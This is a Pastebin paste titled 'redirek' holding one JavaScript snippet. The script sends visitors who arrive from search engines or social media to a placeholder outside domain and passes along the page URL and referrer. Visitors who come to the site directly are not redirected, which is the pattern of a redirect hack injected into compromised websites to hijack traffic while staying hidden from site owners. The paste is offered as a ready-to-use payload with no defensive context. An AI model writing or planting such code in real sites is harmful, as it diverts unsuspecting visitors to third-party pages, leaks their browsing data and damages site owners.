Advertisement
ghiwar

redirek

Jul 6th, 2021
157
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.47 KB | None | 0 0
  1. <script>
  2. var ars = 'http://domain.com';
  3. if(['.google.', 'bing.', 'yandex.', 'facebook.', 'pinterest.', 'alohafind.', 'baidu.', 'duckduckgo.', 'startpage.', 'searchbip.'].some(s => document.referrer.toLowerCase().includes(s)) || ['fb', 'facebook', 'pinterest', 'twitter'].some(s => navigator.userAgent.toLowerCase().includes(s))){ window.location.href = ars + '/?arsae='+ encodeURIComponent(window.location.href) + '&arsae_ref='+ encodeURIComponent(document.referrer) }
  4. </script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement